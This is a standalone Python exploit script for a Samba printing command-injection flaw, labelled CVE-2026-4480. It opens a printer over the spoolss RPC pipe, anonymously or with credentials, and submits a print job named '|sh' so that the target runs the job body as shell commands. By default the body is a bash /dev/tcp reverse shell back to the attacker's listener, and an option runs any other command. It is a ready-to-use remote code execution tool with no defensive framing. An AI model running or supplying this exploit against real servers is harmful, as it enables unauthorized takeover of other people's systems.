#!/usr/bin/env python3
import argparse
import sys
import socket

try:
    from samba.dcerpc import spoolss
    from samba.param import LoadParm
    from samba.credentials import Credentials
except ImportError:
    sys.exit("[-] Samba Python bindings missing. Install with: sudo apt install python3-samba")

PRINTER_ACCESS_USE = 0x00000008


def reverse_shell(lhost, lport):
    return ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"
            % (lhost, lport)).encode()


def check_target(rhost):
    print("[*] checking if target is available")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((rhost, 445))
        s.close()
        print("[*] target is available")
        return True
    except Exception:
        sys.exit("[-] target is unavailable or port 445 is closed")


def exploit(rhost, sharename, body, username=None, password=None, anonymous=False):
    lp = LoadParm()
    lp.load_default()
    creds = Credentials()
    creds.guess(lp)
    
    print("[*] logging in")
    if anonymous:
        creds.set_anonymous()
    else:
        creds.set_username(username)
        creds.set_password(password)

    try:
        binding = r"ncacn_np:%s[\pipe\spoolss]" % rhost
        iface = spoolss.spoolss(binding, lp, creds)

        handle = iface.OpenPrinter("\\\\%s\\%s" % (rhost, sharename), "",
                                   spoolss.DevmodeContainer(), PRINTER_ACCESS_USE)

        info = spoolss.DocumentInfo1()
        info.document_name = "|sh"
        info.output_file = None
        info.datatype = "RAW"
        ctr = spoolss.DocumentInfoCtr()
        ctr.level = 1
        ctr.info = info

        print("[*] uploading payload")
        iface.StartDocPrinter(handle, ctr)
        iface.StartPagePrinter(handle)
        iface.WritePrinter(handle, body, len(body))
        iface.EndPagePrinter(handle)
        iface.EndDocPrinter(handle)
        iface.ClosePrinter(handle)
    except Exception as e:
        sys.exit("[-] exploit failed during SMB/RPC operations: %s" % e)


# Error message parser
class CustomArgumentParser(argparse.ArgumentParser):
    def error(self, message):
        print("\n[!] Error: %s" % message)
        print("[*] Note: if user is anonymous and no password, then just add -N without -u or -p\n")
        self.print_help()
        sys.exit(2)


def main():
    p = CustomArgumentParser(
        description="CVE-2026-4480 Samba print %J injection")
    
    p.add_argument("-t", "--target", required=True, help="target Samba host/IP (rhost)")
    p.add_argument("-Lh", "--lhost", required=True, help="your listener IP (e.g. tun0)")
    p.add_argument("-Lp", "--lport", required=True, type=int, help="your listener port")
    p.add_argument("-s", "--sharename", required=True, help="Writable SMB share / printer name")
    p.add_argument("-c", "--cmd", help="run a specific shell command instead of a reverse shell")
    
    auth_group = p.add_mutually_exclusive_group(required=True)
    auth_group.add_argument("-N", "--no-pass", action="store_true", help="Anonymous / guest login")
    auth_group.add_argument("-u", "--username", help="Username for authentication")
    p.add_argument("-p", "--password", help="Password for authentication")

    args = p.parse_args()

    if not args.no_pass and (args.username and not args.password):
        p.error("-p/--password is required when -u/--username is provided.")

    print("[*] executing command")
    check_target(args.target)

    if args.cmd:
        body = (args.cmd.rstrip("\n") + "\n").encode()
    else:
        body = reverse_shell(args.lhost, args.lport)

    exploit(args.target, args.sharename, body, args.username, args.password, args.no_pass)

    if not args.cmd:
        print("[*] setup listener on your computer like: nc -lnvp %d" % args.lport)
    
    print("[*] Check your listener, print job submitted")


if __name__ == "__main__":
    main()